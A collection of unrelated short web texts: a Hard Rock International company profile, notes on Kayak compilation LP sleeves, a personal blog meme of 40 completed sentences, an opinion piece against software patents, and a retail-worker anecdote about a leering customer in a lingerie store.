With a total of 192 venues in 60 countries, including 146 cafes, 21 hotels and 10 casinos, Hard Rock International (HRI) is one of the most globally recognized companies. Beginning with an Eric Clapton guitar, Hard Rock owns the world's greatest collection of music memorabilia, which is displayed at its locations around the globe. Hard Rock is also known for its collectible fashion and music-related merchandise, Hard Rock Live performance venues and an award-winning website. HRI owns the global trademark for all Hard Rock brands. The company owns, operates and franchises Cafes in iconic cities including London, New York, San Francisco, Sydney and Dubai. HRI also owns, licenses and/or manages hotel/casino properties worldwide. Destinations include the company's two most successful Hotel and Casino properties in Tampa and Hollywood, Fl., both owned and operated by HRI parent company The Seminole Tribe of Florida, as well as other exciting locations including Bali, Biloxi, Chicago, Cancun, Ibiza, Las Vegas, Palm Springs and San Diego. Upcoming new Hard Rock Cafe locations include San Juan, Asuncion and Marseille. New Hard Rock Hotel projects include Daytona Beach, Dubai, Los Cabos, Dallas-Fort Worth, Abu Dhabi, and Shenzhen and Haikou in China. For more information on Hard Rock International, visit www.hardrock.com.


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Various LP Sleeves
In the vinyl Era, Kayak released a couple of compilation LP's in Holland. "The Best Of Kayak", with songs from the first three albums, was released in a black sleeve, and also in a sleeve with a picture of the band.
Another compilation LP: "Pick Of The Basket". And in Argentina, "Starlight Dancer" was released with the Spanish title "Danzante De Estrellas". (Some other LP's also received this Spanish treatment).
In the USA, "See See The Sun", "Royal Bed Bouncer" and "Phantom Of The Night" got different sleeves than in Europe. And then, of course there is the USA-version of "Starlight Dancer": a compilation of songs from the European "Starlight Dancer" and "Last Encore".


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Saw this twice today, and thought it was neat. Take if you like and share!
1. My uncle once worked at the zoo
2. Never in my life will I give less than my best.
3. When I was five my parents sent my dog "to the farm" and they still won't tell me what happened to him. I also went to Disneyworld. Being 5 had it's ups and downs 🙂
4. High school was where I met my best friends and my husband.
5. I will never forget the day Lorelai was born.
6. Once I met Anthony Rapp. Twice actually.
7. There's this boy I know who is new to the world and I would really like to meet him. (Hi Will!)
8. Once, at a bar,a guy took my hat – it was St. Patrick's Day in Worcester, MA. I think I got the hat back. Don't remember that part.
9. By noon, Lorelai and I are usually out and about.
10. Last night I got to spend too short a time with one of my brothers.
11. If only I had a dog that didn't bark so much…. (I swear, dachshunds are GREAT watchdogs. A dust bunny scurries and they bark. Chipmunks fart and they bark. Don't get me wrong, I love love love love my dog. When he barks there is no changing his mind!)
12. "Next time I go to church" is not a phrase I say often, but probably should.
13. What worries me most the health of grandparents, aging parents, my brothers decisions and Lorelai's happiness.
14. When I turn my head left I see a door.
15. When I turn my head right I see twilight and trees.
16. You know I'm lying when….. Why would I answer that?
17. What I miss most about the Eighties is the music. And how my dad and I would rate hair do's with how many cans of hairspray were needed for the do.
18. If I were a character in Shakespeare I'd be (oh god, Betsy? VIK? help?) Who was the shrew, maybe her? Maybe a queen from Midsummer? I am not up on my Shakespeare.
19. By this time next year I might be working outside of the home?
20. A better name for me would be – Rachel? That's what some people think my name is, but it's not. I was so close to being a Molly or Sorcha, but Dad squashed those. I currently also go by "mommy" even though my daughter can't get past "mmmm".
21. I have a hard time understanding people who lack common sense. Or common courtesy. Or a sense of humor.
22. If I ever go back to school, I'd take an art class. Photography maybe. Drawing perhaps.
23. You know I like you if I respond in sentences and converse, not just "mmm-hmm."
24. If I ever won an award, the first person I would thank would be my parents probably. They've instilled all that is award worthy in me I think.
25. Take my advice, never forget to say Thank You.
26. My ideal breakfast is blueberry pancakes.
27. A song I love but do not have is that song from a LimeNViolet podcast that referenced Shakespeare and The Princess Bride.
28. If you visit my hometown, I suggest that you visit the trails.
29. Why won't people use common sense? Think about others? Think about the planet? Think someone else might be right?
30. If you spend a night at my house you will be barked at by Jackson if you use the guest bathroom and you will either a)share a wall with the baby or b)share a room with yarn.
31. I'd stop my wedding for nothing short of the groom not showing (which he did. no worries.)
32. The world could do without drug advertisements all over the tv.
33. I'd rather lick the belly of a cockroach than sing in public.
34. My favorite blondie is a type of brownie?
35. Paper clips are more useful than staples.
36. If I do anything well it's word puzzles. take photographs. make Lorelai smile. science.
37. I can't help but shop a sale.
38. I usually cry when I think I've let someone close to me down.
39. My advice to my nephew/niece
is will be Conduct and Effort are what count for everything. And someday you'll appreciate how cool your parents are.
40. And by the way, Have a Nice weekend!


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The patent system in general has always been run by patent advocates, for patent advocates and their clients. Any system that lets those who benefit set the rules is going to work against the public interest. But in software, patents also directly discriminate against the real innovators - the small, agile, collaborative teams that built the Internet.
The discrimination against real innovators happens because the patent system grants patents far too easily, and without proper justification. There has never been a single economic study that showed that patents benefitted the software sector. Today, studies show the opposite.
The expansion of patents into software has happened purely on dogmatic reasons. By forcing a policy of "one size fits all", the patent system discriminates against fast-moving agile sectors like software, to favour slow-moving ones like pharmaceutics. Twenty-year exclusive privileges in a sector where full product life cycles are measured in a few years is insane.
The granting of over-broad monopolies on ideas locks out innovation and competition, in a sector that lives and dies by competition. Handicapping the US software market with patents does not create wealth. It discriminates against US software innovators, in favour of those in countries with more sane patent policies.
Smaller software businesses, who cannot afford the cost and above all, the risks of patents, are heavily punished by the patent system. And hardly any small software businesses buy software patents - a recent study by a patent advocate actually showed that 80% of VC-funded software startups don't buy a single patent within four years of funding. And startups without VC funding, which make the majority…? It would be surprising if even 5% of small software firms bought a single patent.
Lastly, the exclusive privilege that software patents give their owners discriminates against open research by blocking disclosure and the free flow of ideas and knowledge. It is ironic that patents are sometimes sold as "rewarding disclosure" when in fact they heavily discourage it. Not only are software patents indecipherable to anyone except a patent expert, but the pressure to acquire patents makes engineers much less likely to disclose their ideas to others.


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Please Do Not Creep Out The Employees
(A male customer comes into our lingerie store and wanders around, looking at the merchandise.)
Me: "Good morning, welcome to [lingerie store]. How can I assist you today?"
Male Customer: "I need to get my wife a gift."
Me: "Okay, what were you thinking of?"
Male Customer: "Oh, you know, underwear or something."
Me: "Okay, what type? Special occasion? Casual every day?"
Male Customer: "Definitely something special. It's our anniversary."
Me: "Do you know her sizes?"
Male Customer: *moves towards me* "About your size…" *looks at my chest*
Me: "Okay, then…why don't you show me what you've seen that you like?"
Male Customer: "I like… you." *leering*
Me: "I think you'll like my manager then, too!" *run away to get my manager*